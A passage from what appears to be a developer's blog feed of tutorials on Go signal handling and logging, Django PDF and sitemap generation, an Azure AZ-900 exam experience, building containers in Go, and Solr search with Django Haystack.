With this you already know the basics about migrations and you probably also value a lot more tools and ORMs that take care of this automatically, such as Django , Ruby on Rails, South, etc.

Go: Handling Signals for Closing Applications

Thu, 06 Oct 2022 00:00:00 +0000

Today I’m going to talk about a topic that is often overlooked in most tutorials: handling application closing. What do I mean? To those times when you have to close an application, but there may be pending tasks running, open connections or you simply want to leave a record, in the form of a log, that the application was closed.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Signals in Linux

As you probably already know, the Linux kernel is in charge of “lending” resources to go applications (or any other application) to run.

Because linux is the kernel of the system, it is able to call back those resources at any time and close the application.

Linux can “nicely” ask applications for the resources it lent them or “take them away” by force. To do this, Linux sends a series of signals to the application, some of which can be captured and handled by the application itself, with code in Go.

Linux will kindly shutdown an app via SIGKILL signal

Main Linux signals

There are quite a few Linux signals, but here are the most important ones for this example:

Signal	Value	Action	Comment	Command	Keyboard Shortcut
SIGINT	2	Term	Interrupt from keyboard	kill -2 pid	CTRL+C
SIGTERM	15	Term	Terminate a process in a controlled manner	kill -15 pid	CTRL+C
SIGKILL	9	Term	Terminate a process in a forced manner, cannot be handled by	kill -9 pid

In Linux, these signals can be sent to an application via the kill command , specifying the value of the signal and the pid of the application.

kill -<value> <pid>
// kill -2 1234

Signal handling in Go

In go, when we want to listen to the signals sent by the Linux kernel, we use the Notify method of the signal package. The Notify method will send our signal on a channel, which it will receive as the first argument. The second and third arguments are the signals that our method will listen for.

func gracefulShutdown() {
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
    // ...
}

Managing signals with channels

Now we have a channel that receives our signal, but… what do we do with it?

Remember that, in go, operations that send or receive channel values are blocking inside their own goroutine , i.e., they keep code execution on hold?

In this case we are going to leave a variable expected by the value of the channel that we have just created, blocking the code at that point.

func gracefulShutdown() {
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
    s := <-quit
    fmt.Println("Closing server", s)
    // ...
}

This way the application will wait until it receives any signal (SIGINT or SIGTERM) from Linux and, once it receives it, it will execute the rest of the function code.

func gracefulShutdown() {
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
    s := <-quit
    fmt.Println("Closing server", s)
    // ... 
}

Finally, for this function to run correctly, we need it to run inside its own goroutine . To do this, simply prefix the function call with the keyword go.

func main() {
    // ...
    go gracefulShutdown()
    // ...
}

Capturing a SIGNIT signal

If we run a web server or any other permanent process and then issue a SIGNIT signal by pressing CTRL + C in the terminal or with the kill command, linux will receive the signal and notify our application to shut down.

go run main.go
Starting server Pid: 8830

kill -2 8830
Closing server interrupt

Consider that the Pid may be different for you.

Capturing a SIGTERM signal

To emit a SIGTERM signal, we execute the GNU/Linux kill command, which will terminate the application. Our application will receive the signal through the channel and execute the rest of the code.

go run main.go
Starting server Pid: 9619

kill -15 9616
Closing server terminated

Of course, ideally, you should go beyond printing a message and take care of all those tasks you want that require a more orderly completion process.

Example of graceful shutdown with a web server

I leave you the complete example with a web server written entirely in go.

package main

import (
    "fmt"
    "log"
    "net/http"
    "os"
    "os/signal"
    "syscall"
)

func getRoot(w http.ResponseWriter, r *http.Request) {
    //io.WriteString(w, "This is my website!\n")
    w.Write([]byte("This is my website\n"))
}

func gracefulShutdown() {
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
    s := <-quit
    fmt.Println("Closing server", s)
    os.Exit(0)
}

func main() {
    pid := os.Getpid() 
    fmt.Println("Starting server Pid:", pid)
    go gracefulShutdown()
    http.HandleFunc("/", getRoot)
    if err := http.ListenAndServe(":8000", nil); err != nil {
    	log.Fatalf("Server init process failed Error: %v", err.Error())
    }
}

After running it, try to cancel the application with CTRL + C or with the terminal with the kill command, and see how the message is printed and the application is terminated in a more orderly and controlled manner.

go run main.go

CTRL + C
Starting server Pid: 8830
Closing server interrupt

Generating PDFs with Django and Reportlab

Thu, 22 Sep 2022 00:00:00 +0000

With django and reportlab we can generate PDFs dynamically, using information from our database, user input or any other business logic we want.

Installation of reportlab

The first thing will be to install reportlab, we can use pip, pipenv or any other package manager you want.

pip install reportlab
# pip install reportlab

Define PDF response type in Django

Once installed, the first lines we will write will be to make sure that the browser knows that we will return a pdf, we will do it through an HTTP header, the Content-Type header, through the content_type variable.

We will then tell it to open it as an attachment, in a new window. I will show you how it looks step by step, for didactic reasons, but you need to save in the response object the pdf before you can see it on your screen, I will do it a little later.

from reportlab.pdfgen import canvas
from django.http import HttpResponse

def pdfVideogame(request):
    response = HttpResponse(content_type="application/pdf")
    response["Content-Disposition"] = 'attachment; filename="hello.pdf"'

Create a text PDF in Django

To begin with we are going to create a canvas to write on it.

This library works as if we were painters, we can only have one brush active, each different brush stroke (font, font size or color) requires us to change brush (set another text size, font or color).

As you know, the first thing a painter needs is a canvas, for this the Canvas method is perfect.

Then, as if we were choosing a brush, we will choose our font and size.

def pdfVideogame(request):
    # ...
    p = canvas.Canvas(response)
    p.setFont("Courier", 28)

Now we are going to use that font to “draw” a string at position 0 and 0.

def pdfVideogame(request):
    # ...
    p.drawString(0, 0, "Hola mundo") # Hello world in Spanish

Text created with reportlab

This will draw our string… at the bottom of the screen.

Why in the background? You may think that canvas works with a Cartesian plane, we just told reportlab to draw the string in the 0,0 coordinates of the plane.

Reportlab behaves as a Cartesian plane

Positioning the text in a Django’s PDF

Now that we know that the first argument is the X-axis separation value, while the second is the Y-axis separation, we will try something more natural.

def pdfVideogame(request):
    # ...
    p.drawString(60, 750, "Hola mundo")

Text positioned according to the X and Y axes in reportlab

Change font color in a Django’s PDF

To change the font color we use the setFillColorRGB method. We need to call this method before reportlab paints our string, otherwise it will use the active one.

We pass the RGB value (a float from 0 to 1) that we want our text to have.

def pdfVideogame(request):
    # ...
    p.setFillColorRGB(0,1,1)
    p.drawString(60, 750, "Hola mundo")

Text in light blue

We already have a simple text, let’s save the content we generated and return it as a response.

Save a PDF and return as a response

Our instance of the canvas object received our response object as an argument, so the changes we just made were saved in the response object.

def pdfVideogame(request):
    # ...
    p.showPage()
    p.save()
    return response

Remember that, as we are in django, we will have to add your view to the urls.

from .views import pdfVideogame

urlpatterns = [
    # ...
    path("pdf", pdfVideogame, name="pdfVideogame"),
]

Generate PDF dynamically with Django

Knowing this, we will be able to create a PDF directly by iterating over a database query using the django ORM.

def pdfVideogame(request):
    #...
    p.setFont("Courier", 28)
    p.setFillColorRGB(0.14, 0.59, 0.74)
    p.drawString(60, 750, "Videojuegos")

    p.setFont("Helvetica", 16)
    p.setFillColorRGB(0, 0, 0)

    # We use Django's ORM to query the database
    videogames = Videogame.objects.all()

    positionY = 700
    for videogame in videogames:
        # We access the column name for each record
        p.drawString(60, positionY, videogame.name)
        positionY -= 25
    # ...

First we create a title with font and change to another one for dynamic information. We simply use the django ORM to create any query we want and call the drawString method for each object in our query.

Notice how I decrease the position of the Y coordinate, so that each iteration writes the text in a new line, otherwise each line would overlap with the next.

Pdf generated dynamically using Django

Improve performance when generating PDF in Django

If you have performance problems when handling complex PDFs, consider using Python’s io library, which allows you to work with an object that behaves exactly as if it were a file, but in memory.

from io import BytesIO

def pdfVideogame(request):

    buffer = BytesIO()

    p = canvas.Canvas(buffer)

    # ... 

    p.showPage()
    p.save()

    pdf = buffer.getvalue()
    buffer.close()
    response.write(pdf)
    return response

Instead of passing the response object to the Canvas method, we pass a binary buffer.

At the end, after saving the changes in the pdf, we get the buffer value, close it and write it in the answer.

I leave here the complete code:

def pdfVideogame(request):
    response = HttpResponse(content_type="application/pdf")
    response["Content-Disposition"] = 'attachment; filename="hello.pdf"'
    buffer = BytesIO()
    p = canvas.Canvas(buffer)
    p.setFont("Courier", 28)
    p.setFillColorRGB(0.14, 0.59, 0.74)
    p.drawString(60, 750, "Videojuegos")
    p.setFont("Helvetica", 16)
    p.setFillColorRGB(0, 0, 0)
    videogames = Videogame.objects.all()
    positionY = 700
    for videogame in videogames:
        p.drawString(60, positionY, videogame.name)
        positionY -= 25
    p.showPage()
    p.save()
    pdf = buffer.getvalue()
    buffer.close()
    response.write(pdf)
    return response

Now you know how to create a simple PDF that will be useful in most cases.

Azure AZ-900 Certification Exam: My Experience

Fri, 02 Sep 2022 00:00:00 +0000

On Saturday, August 6, 2022 I sat for and approved my Microsoft Azure AZ-900 certification exam.

What does AZ-900 certification consist of?

The AZ-900 Fundamentals certification ensures that a person knows all the basic services that Microsoft’s cloud, Azure, and its enterprise applications have.

For practical purposes, it prepares you to serve as an intermediary who recommends Microsoft Azure services to a company or third party, according to their needs. Or, as a software professional, you can take advantage of all the services that Azure has to offer. It often reads like a no-brainer, but Azure has a wealth of services.

To achieve the above you need to know the basic architecture of Azure, its different services: compute, storage, artificial intelligence, etc., their special features, differences, and their respective use cases.

My examination process

The exam was conducted through the Evaluaasi platform , through which you download a program that connects to a remote desktop to take the exam. This program will monitor your computer and connected devices, probably to prevent a user from cheating in some way; I have heard that some evaluation processes are so strict that they ask to see the room in which you will take the exam before starting. That wasn’t my case though.

Evaluaasi platform home screen

When it is time for the exam, and once connected to the remote desktop, an evaluator will enter his or her username and password to give you access to the exam.

According to what I was told in one of their emails, the application of the exam can be postponed and they are quite flexible.

AZ-900 Examination format

The duration of the exam is approximately 60 minutes and has 45 questions, there are multiple choice questions, true or false, matching columns and even some where you have to choose an option from the Microsoft marketplace directly, just as if you were in the browser.

Azure Portal

You can skip questions and mark them to come back to them later, which I highly recommend because time is tight, I had 10 minutes left over, but there were some questions I couldn’t answer in the first round.

The test is divided into different sections, each with a different value, generally fluctuating around 20%.

At the end of the exam, the system automatically calculates your score and informs you if you approved. You need a minimum of 700 points out of a maximum of 1000 points to pass.

Contents of the AZ-900 exam

The exam is strongly oriented towards practical applications of cloud services. With questions focused on practical cases, where a fictitious company needs to decide which cloud service can best meet their needs, so it is not enough to know definitions, but to have a clear understanding of concepts, to be able to apply them in an environment a little more similar to the real one.

What language is the test in?

At the time of taking the exam it is possible to select from several languages, including English and Spanish, so don’t worry if you think that language will be another barrier in this exam.

Where to study for the AZ-900 certification exam?

To study I used the following resources, here is a brief description of each one.

Microsoft Learn

The microsoft Learn platform is the default resource, as there is no one better than microsoft to start reading the basic features of the Azure cloud. However, being a text-only solution it can become somewhat tedious. In addition, the large amount of information can make people who have their first approach to new technologies feel lost.

microsoft learning platform

The e-learning platform is also available in Spanish, just select the language.

See below for details on the content of this platform.

Learnbigdata

Aprenderbigdata has a exam guide in 5 PDF files quite complete with questions in Spanish, which you can use as a review quiz, it is almost at the bottom of the page.

Adam Marczac’s website

The Marczac website has a complete review of the AZ-900 certification content, organized into sections, along with an interactive form where you can test your knowledge on the spot, plus links to their youtube videos. I highly recommend it.

Technical preparation from John Savill

Among the resources I used to study I would like to highlight the following video by John Savill, as I found it to be the most complete and best explained:

It is a 3-hour review in English, in which they explain the basics of the Azure cloud, in a more structured and visual way. Like a giant blueprint of the cloud, in which they explain each part and how it relates to the others.

How much does AZ-900 certification cost? Is it free?

The certification costs about $90 USD directly with microsoft, but I got it for free as part of a Platzi learning platform certification challenge .

I understand that if you sign up for the Microsoft Learn e-learning platform, they usually give away coupons from time to time.

With so many coupons and other free options, I don’t recommend that you shell out the money out of pocket but wait for an opportunity to get it for free or much cheaper.

Free Platzi AZ-900 certification process

A couple of months ago Platzi offered a challenge in which they give you the opportunity to certify yourself completely free of charge, through their platform, with two requirements: pass a series of courses on their platform, with their respective exams, and complete a Microsoft Learn practice lab.

Required Platzi Courses for AZ-900

The process consists of completing the following 4 courses:

Fundamentals of Software Engineering
Introduction to the Terminal and Command Line Course
Linux Server Administration Course
Introduction to the Cloud with Azure Course

In general the first two are fairly easy, especially if you already have experience working with the usual linux commands from the terminal , the last two do require some experience or a lot of practice on your part to pass them.

Linux Server Administration Course

Microsoft Learn Practices

The practical laboratory is a series of 20 courses in which each course is subdivided into theory and practice. In the theoretical part you are shown the basics of the subject in written form, while the practical part consists of a short form of 3-4 questions in which the previous content is evaluated, but as a practical application.

For example, “A company wants to implement a voting box where security is at its highest, which Microsoft Azure service would you recommend using.”

Azure Fundamentals Badge

If you pass the exam, you will have access to the Microsoft AZ-900 Fundamentals badge, which you can register on Credly, or directly place your badge on a website, your LinkedIn profile or other medium.

This is mine, hosted on credly.

Dynamic sitemap with django

Wed, 20 Jul 2022 00:00:00 +0000

A sitemap is an xml file that functions as a map to navigate your site. Hence the name; Site-map. Search engines, such as google, bing, yahoo and others, use the sitemap of a site as a starting point to analyze its content and include it in their search results.

A sitemap is crucial in SEO and a sitemap with errors can plummet your site views , as it happened to me.

Structure of a sitemap

A sitemap is an xml file, which has an element called urlset, which is a collection of url elements. Each url element has a location, in this case its url address, a frequency of change, a priority and other optional elements, such as images.

A sitemap is a crucial part of technical SEO , and every site should have one.

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="http://www.w3.org/1999/xhtml">
   <url>
      <loc>http://example.com/objecto/1</loc>
      <lastmod>1970-01-01</lastmod>
      <changefreq>monthly</changefreq>
      <priority>0.8</priority>
   </url>
</urlset>

Split Sitemaps for simplicity

When a sitemap is very large it is possible to divide it into smaller sitemaps, using a sitemapindex element and sitemap sub elements, each with its respective location.

<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>http://www.example.com/sitemap1.xml</loc>
  </sitemap>
  <sitemap>
    <loc>http://www.example.com/sitemap2.xml</loc>
  </sitemap>
</sitemapindex>

But that’s not all, you can divide it by category, by language or whatever fits the best for you.

Framework of sitemaps in Django

Django already has an internal framework for sitemap generation, django.contrib.sitemaps, which allows us to create sitemaps dynamically in conjunction with django.contrib.sites.

django.contrib.sites is a framework included in django that allows you to manage different websites with the same django application.

To use the sitemaps framework, we need to add the two packages to the INSTALLED_APPS variable and also add the site identifier.

# settings.py
SITE_ID = 1

INSTALLED_APPS = (
    'django.contrib.sites',
    'django.contrib.sitemaps',
)

Since Django keeps track of the sites that are managed by the application in the database, you will need to run migrations to update the database.

Defining a sitemap in Django

Now redirect to your application, at the same level as your models.py file and create a file called sitemaps.py.

Inside this file we are going to inherit a class from the Sitemap class provided by Django.

# app/sitemaps.py
from django.contrib.sitemaps import Sitemap
from .models import Videogame

class VideogameSitemap(Sitemap):
    changefreq = 'monthly'
    priority = 0.8

    def items(self):
        return Videogame.objects.filter(published=True)

    def lastmod(self, obj):
        return obj.modified

Define items in django sitemap

By overwriting the items function we will define the queryset that will be used as a base, you can modify it as much as you want: partition it, limit it to attributes of your objects or as you prefer.

location method in django Sitemap

Location refers to the url of the resource. If we do not define a location method, Django will use the get_absolute_url method of our model to generate it.

# sitemaps.py
class VideogameSitemap(Sitemap):
    # ...

    def location(self, obj):
        return obj.customized_method()

changefreq

Refers to the frequency with which the content changes. You can use a function to generate it dynamically according to attributes of the object itself or leave it as a fixed value.

# app/sitemaps.py
class VideogameSitemap(Sitemap):

    def changefreq(self, obj):
        # ...
        return 'monthly'

priority

It dictates the priority of the resource. It is possible to use a function to generate the priority dynamically through attributes or any other logic that you prefer.

# app/sitemaps.py
class VideogameSitemap(Sitemap):

    def priority(self, obj):
        # ...
        return 0.8

Adding a sitemap to Django urls

Now we have the sitemap, but we need to add it to the url in our project’s urls.py file.

The view we will use, called sitemap, is provided by django and we just pass it a dictionary that relates to the sitemap we just created and pass it as a parameter.

Within the sitemaps variable you can add other sitemaps for other applications.

from django.contrib.sitemaps.views import sitemap
from videogame.sitemaps import VideogameSitemap

sitemaps = {
    'videogames': VideogameSitemap,
}

urlpatterns = [
    # ...
    path('sitemap.xml', sitemap, {'sitemaps': sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
]

Setting the domain name for the sitemap in Django admin

If we access the sitemap, you will notice that the base url of the urls is example.org, to define another one we need to modify the base from the administrator. The form is located at /admin/sites/site/

Modify the default domain of the sitemap in /admin/sites/site/

Should I cache the sitemap?

Remember that, generally, when you are creating a sitemap dynamically, from each of the objects in your database, you are going through it completely every time you access it. If your database is colossal, this may not be convenient because every access to the sitemap will hit the database, and trust me there are bots crawling the web several times a day.

Depending on the type of site you manage, you may want to store the sitemap in the Django cache .

Logging with the standard library in Go

Wed, 06 Jul 2022 00:00:00 +0000

As you probably already know, you should not use prints for debugging. The standard go logging library is much more versatile, it adds dates, filenames and other information, plus you can redirect the logs to standard output, to a file or wherever you want. This can make your debugging process more enjoyable and your go testing easier.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

Log Println

The log package is integrated into the standard logging library and its simplest function is Println which, for practical purposes, is like the standard Println but with some built-in benefits.

By default when logging something with go it will return the date and time, followed by the message we pass as an argument.

log.Println("Message")
// 2022/06/28 13:38:25 Message

The Println method of log behaves exactly like the fmt library method, so you can pass it multiple parameters and it will print them one by one.

Flags in logging

It is possible to change the default format in which the messages are displayed, change the order of the elements or add more information by calling the SetFlags method and passing it as arguments any of the flags provided by go.

log.SetFlags(log.Ldate | log.Lshortfile)
log.Println("Message")
// 2022/06/28 main.go:10: Message

There are more flags available in addition to the above two.

Flags available

Flags are available to show the full path to our file, the line number or to move the prefix and place it before the message. I leave them below.

const (
    Ldate         = 1 << iota     
    // Local date: 2009/01/23
    Ltime                         
    // Local datetime: 01:23:23
    Lmicroseconds                 
    // Miscroseconds resolution: 01:23:23.123123. Asume Ltime.
    Llongfile                     
    // Full route and line number: /a/b/c/d.go:23
    Lshortfile                    
    // File and line number: d.go:23. Overwrites Llongfile
    LUTC                          
    // If Ldate or Ltime are active uses UTC instead of local time
    Lmsgprefix                    
    // Move the prefix and places it before the message 
    LstdFlags     = Ldate | Ltime 
    // Initial values: Ldate y Ltime
)

Handling errors with logging

In addition to displaying information, it is possible to use methods, such as Panic and Fatal, to handle errors in our code.

Logging Panic

The log method has a Panic method that prints a message and calls the panic function.

log.Panic("System panicking")

Panic has two variants:

Panicf: The equivalent of Printf, for formatting with position operators.
Panicln: The equivalent of Println

Logging Fatal

If we want to terminate the execution of our program immediately, without allowing the system to recover, we have at our disposal the Fatal method.

log.Fatal("A fatal error has occurred")

Like Panic, Fatal has two variants:

Fatalf: The equivalent of Printf, for formatting with position operators.
Fatalln: The equivalent of Println

Redirecting logging output

As I mentioned before, the library allows us to redirect, through its SetOutput method, the output of our logging to a destination; either the Stdout, the Stderr, the Stdin or even a file.

log.SetOutput(os.Stdout)

In the example above we are redirecting it to the standard output.

Redirecting to a file

To redirect our logs to a file, we first need to create it and then pass it as an argument to the SetOutput method, after that, all our logs will be written to our file and we will be able to retrieve them later.

file, _ := os.Create(name: "program.log")
log.SetOutput(file)
log.Println("Message to file")
file.Close()

Customized loggers

The log package allows us to create different types of loggers, using the New method, this method receives the following arguments; first, the destination of our logs, as you saw, this can be to the Stdout, the Stderr, the Stdin or a file; second, the prefix to show in each message; third, the flags with which we want to format our logs.

infoLogger := log.New(os.Stdout, prefix: "INFO: ", flags)

Once our log is created, we can call its Println method to display it in the standard output.

infoLogger.Println("This is an Info message")

How Does a Docker Container Work Internally?

Sat, 18 Jun 2022 00:00:00 +0000

Containers, especially Docker containers, are used everywhere, we tend to see them as small isolated operating systems that are inside our system. Using the Docker commands we can modify them, create them, delete them and even get inside them and run commands, but have you ever wondered how they work internally?

We know that a container is a linux process with several characteristics:

A linux process, or group of processes, executed by a user.
It is isolated from the operating system that hosts it (Namespaces).
It has a limited amount of resources (Cgroups).
It has a file system independent of the operating system in which it runs (Chroot).

To achieve this, docker, and other container technologies, take advantage of some features of GNU/Linux (from now on only linux):

Processes
Namespaces
Cgroups
Chroot

I am going to explain them briefly but you can go deeper on your own if you want to.

Docker containers use processes, namespaces and cgroups on linux

Process

In simple words, a process is an instance of a running program. What is important here is that each process in linux has a PID, which is a number used to identify the process.

As you know, you can view the processes using the ps, top, htop commands , etc.

A container is a process, or a group of processes, isolated from the rest of the operating system, by means of a namespace.

Namespace

A namespace limits what we can see.

Namespaces are a Linux abstraction layer that isolates system resources. Processes inside a namespace are aware of other processes inside that namespace, but processes inside a namespace cannot interact with processes outside that namespace. Each process can belong to only one namespace.

A namespace is what makes a container feel like another operating system.

In linux, a namespace will be deactivated when its last process has finished running.

Types of namespaces in linux

There are different types of namespaces that control the resources to which a process has access:

UTS(Unix Time Sharing) namespace: Isolates hostname and domain.
PID namespace: Isolates process identifiers.
Mounts namespace: Isolates mount points.
IPC namespace: Isolates communication resources between processes.
Network namespace: Isolates network resources.
User namespace: isolates user and group identifiers.
cgroups: Isolates /proc/[pid]/cgroup and /proc/[pid]/mountinfo view.

For example, if we use a namespace of type UTS, the changes we make to the hostname from our namespace will not affect the hostname of the main operating system.

Each namespace has its own hostname and domainname

cgroup

In linux cgroups limit what we can use.

The cgroups, or control groups provided by the linux kernel, allow us to organize our processes into groups, and limit the CPU, memory, input, output, number of processes and network packets generated by each of these groups.

Linux takes this configuration reading a series of files inside the path /sys/fs/cgroup/, we can create new cgroups, or modify the existing ones, creating folders and files inside this location.

For example, using cgroups we can tell linux: “limit the number of CPUs this process can use to only one, and that it can only use 20% of the CPU capacity, and also assign it a maximum of 1GB of RAM”.

cgroups allow you to limit system resources

Chroot

Chroot, a name that comes from change root, tells Linux to change the directory it is using as root to another one, which means that it will now have a different set of binaries, configurations, and processes.

Create a container from scratch with Go

Simplifying the above we need:

Namespaces: to isolate the processes of our container from the main operating system.
Chroot: to provide our container with a file system different from that of the main operating system.
Cgroups: to limit the resources of our system to which our container can access

Now let’s create the container base in the same way as Docker, using the Go programming language .

package main

import (
    "fmt"
    "os"
    "os/exec"
)

// ./container.go run <cmd> <args>
func main() {
    switch os.Args[1] {
    case "run":
    	run()
    default:
    	panic("This command doesn't exist")
    }
}
func run() {
    fmt.Printf("Cocde executing %v with Process Id (PID): %d \n", os.Args[2:], os.Getpid())
    cmd := exec.Command(os.Args[2], os.Args[3:]...)

    cmd.Stdin = os.Stdin
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr

    cmd.Run()
}

I explain the code below.

Inside the main function, os.Args[1] returns the first argument of the program, in case the first argument is run, it will execute the run function. Easy, isn’t it?

./container run <cmd> <args>

exec.Command will take care of executing whatever we pass it after run, as a command to execute, along with its arguments, this can be a echo, a bash, an ls, or whatever you want.

./container run echo "Hello world"
Code executing [echo Hello world] with Process Id (PID): 292753
Hello world

The following lines with the cmd prefix are summarized as follows.

Redirect the standard input of the command to the standard input of the operating system.
Redirect the standard output of the command to the standard output of the operating system.
Redirect the error output of the command to the error output of the operating system.

What does this mean? It means that, in this process, everything we type in our terminal will go directly to the standard command entry that is stored in cmd.

To conclude:

cmd.Run, execute the command that we created with exec.Command.

Containers and namespaces

So far we have a program that creates a process from the arguments we pass to it.

So far so good, but we have a problem; we are not using namespaces, so our program is not isolated from the rest of the system; we can see all the processes of the main operating system and we are using its file system, instead of our own file system for the container.

To assign a namespace to our program, we will use the SysProcAttr method to create a new namespace of type UTS.

func run() {
    fmt.Printf("Cocde executing %v with Process Id (PID): %d \n", os.Args[2:], os.Getpid())
    cmd := exec.Command(os.Args[2], os.Args[3:]...)

    cmd.Stdin = os.Stdin
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr

    cmd.SysProcAttr = &syscall.SysProcAttr{
    	Cloneflags: syscall.CLONE_NEWUTS,
    }

    cmd.Run()
}

As you read in the list of namespaces, UTS is the namespace for isolating hostname and domain names.

Namespace UTS

After setting the Cloneflags, any changes we make to the hostname will be made only within the namespace. In other words, changes inside our container will not affect anything outside of it.

# Original hostname
hostname
originalHostname

# Renaming the hostname inside the container 
./container run /bin/bash
hostname anotherName

# Hostname changed inside the container
hostname
anotherName

# Exiting container
exit

# The original hostname didn't change
hostname
originalHostname

Isolating processes with the PID namespace

Since we saw how a namespace works, let’s use it for the main function of a container; isolating processes.

We will make the following changes to the main code.

In the run function, we will make sure that child is always an argument and therefore the function of the same name is executed.
exec.Command("/proc/self/exe", args…) will be used to fork our process with our commands.
CLONE_NEWPID will be used to create a new namespace to isolate the processes in our container.
The Sethostname method will be in charge of setting the hostname automatically, useful to know that we are inside the container.

The rest of the code does exactly the same.

package main

import (
    "fmt"
    "os"
    "os/exec"
    "syscall"
)

// go run container.go run <cmd> <args>
func main() {
    switch os.Args[1] {
    case "run":
    	run()
    case "child":
    	child()
    default:
    	panic("This command doesn't exist")
    }
}

func run() {
    args := append([]string{"child"}, os.Args[2:]...)
    cmd := exec.Command("/proc/self/exe", args...)

    cmd.Stdin = os.Stdin
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr

    cmd.SysProcAttr = &syscall.SysProcAttr{
    	Cloneflags: syscall.CLONE_NEWUTS | syscall.CLONE_NEWPID,
    }

    cmd.Run()
}

func child() {
    fmt.Printf("Cocde executing %v with Process Id (PID): %d \n", os.Args[2:], os.Getpid())

    syscall.Sethostname([]byte("container"))
    cmd := exec.Command(os.Args[2], os.Args[3:]...)

    cmd.Stdin = os.Stdin
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr

    cmd.Run()
}

Now, if we run the code we will see that the PID is 1, the first process, we have already isolated the processes! However, as we have not changed the file system, we will see the same processes of our main operating system.

Remember that the ps command gets the processes from the /proc directory of the file system you are using. In other words, we need another file system.

Set up a new file system for the container

To use a unique file system for the container, other than the file system of our operating system, we will use the linux command chroot .

Chroot changes the default root location to a directory of your choice.

ls /another_file_system
bin dev home lib ... proc

This new file system can have other libraries installed, configurations and be designed to our liking, it can be a copy of the one you are using or a completely different one.

To isolate the processes of our container we go to:

Change the file system to the new one with Chroot
Move to the root directory
Mount the proc folder in proc

func child() {
    fmt.Printf("Cocde executing %v with Process Id (PID): %d \n", os.Args[2:], os.Getpid())

    syscall.Sethostname([]byte("container"))
    cmd := exec.Command(os.Args[2], os.Args[3:]...)

    cmd.Stdin = os.Stdin
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr

    syscall.Chroot("/another_file_system")
    os.Chdir("/")
    syscall.Mount("proc", "proc", "proc", 0, "")

    cmd.Run()
}

Now our container is going to read the processes from our new file system, instead of the file system of the main operating system.

Limiting container resources with cgroups

Finally, we are going to limit the resources that our container can access using the linux cgroups.

The cgroups are located inside the path /sys/fs/cgroup/ and we can create a new one by creating a new folder inside the cgroup type.

In this case we will limit the memory, so our cgroup will be inside /sys/fs/cgroup/memory/<cgroup_name>. Remember I told you that cgroups worked by reading a series of directories and files?

func child() {
    // ...
    setcgroup()
    // ...
}

func setcgroup() {

    cgPath := filepath.Join("/sys/fs/cgroup/memory", "newcgroup")
    os.Mkdir(cgPath, 0755)

    ioutil.WriteFile(filepath.Join(cgPath, "memory.limit_in_bytes"), []byte("100000000"), 0700)
    ioutil.WriteFile(filepath.Join(cgPath, "tasks"), []byte(strconv.Itoa(os.Getpid())), 0700)
}

We create a directory for our cgroup with the linux permissions 0755

We will generate two files, inside our cgroup, to set the guidelines we want to implement

memory.limit_in_bytes, to limit the maximum memory to 100 MB (100000000 bytes).
tasks to tell linux that this cgroup configuration is applicable to the process number (PID) of our container, which we obtain with the Getpid method.

And that’s it, with that we have a process with its own file system, isolated from the main operating system and can access only a part of the resources.

How does a Docker container work? Summary

In summary, it is possible to create a container using namespaces, cgroups and chroot, to isolate from the outside, limit resources, and provide its own file system, respectively.

The code in this post is based on a talk by LizRice at ContainerCamp.

Other resources for further study

Autocomplete, Suggestions and Related Content: Solr and Django

Sun, 29 May 2022 00:00:00 +0000

Solr, together with Lucene, is an outstanding search engine that allows you to perform searches with advanced features. In this post I bring you a summary of some of the most interesting features of Solr and Django Haystack.

I assume you already have a configured django app with Solr , in case you don’t, check my previous post.

Behavior of default AND and OR searches

Haystack allows us to define a default behavior for all searches, either by joining terms with AND or OR operators. The default value is AND but you can modify it in the configuration file.

# settings.py
HAYSTACK_DEFAULT_OPERATOR = 'AND'
HAYSTACK_DEFAULT_OPERATOR = 'OR'

Search by specific field with Solr

If we want to limit our search to a specific field of the object we define as index we simply pass it as a parameter, together with the text string to search.

def vista(request):
    results = SearchQuerySet().models(<modelo>).filter(title='<query text>')

This will allow us to search in the title field for our search term.

Importance of the fields in Solr search

Remember that Solr sorts results by relevance? Sometimes we want to increase the relevance in certain cases, for example: maybe you want the last term searched by your user to influence the search. For this we add the boost method and the relative importance value we want to give it.

Increment per search term

sqs = SearchQuerySet().boost('<término>', 1.2)

Increment per field

When we want Solr to give more or less importance to a given field when performing a search, we pass the parameter boost to our field.

# app/search_indexes.py

from haystack import indexes
from .models import Videogame

class VideogameIndex(indexes.SearchIndex, indexes.Indexable):
    # ... otros dcampos
    name = indexes.CharField(model_attr='name', boost=1.5)

This increment is only valid when filtering by the field to which the boost is applied.

SearchQuerySet().filter(SQ(content='<query>') | SQ(name='<query>'))

Solr search suggestions

To enable this feature we need to set this option in the HAYSTACK_CONNECTIONS variable in the Django configuration file.

# settings.py

HAYSTACK_CONNECTIONS = {
    'default': {
        'ENGINE': 'haystack.backends.solr_backend.SolrEngine',
        'URL': 'http://127.0.0.1:8983/solr/<nombre_del_núcleo>',
        'INCLUDE_SPELLING': True
    },
}

Search_index configuration

First we need to create a suggestion field, which will take its information from the default text field.

class VideogameIndex(indexes.SearchIndex, indexes.Indexable):
    # ...
    suggestions = indexes.FacetCharField()

    def prepare(self, obj):
        prepared_data = super().prepare(obj)
        prepared_data['suggestions'] = prepared_data['text']
        return prepared_data

In addition, we need to modify our configuration file solrconfig.xml and add the following settings

<searchComponent name="spellcheck" class="solr.SpellCheckComponent">
  <str name="queryAnalyzerFieldType">text_general</str>
  <lst name="spellchecker">
    <str name="name">default</str>
    <str name="field">text</str>
    <str name="classname">solr.DirectSolrSpellChecker</str>
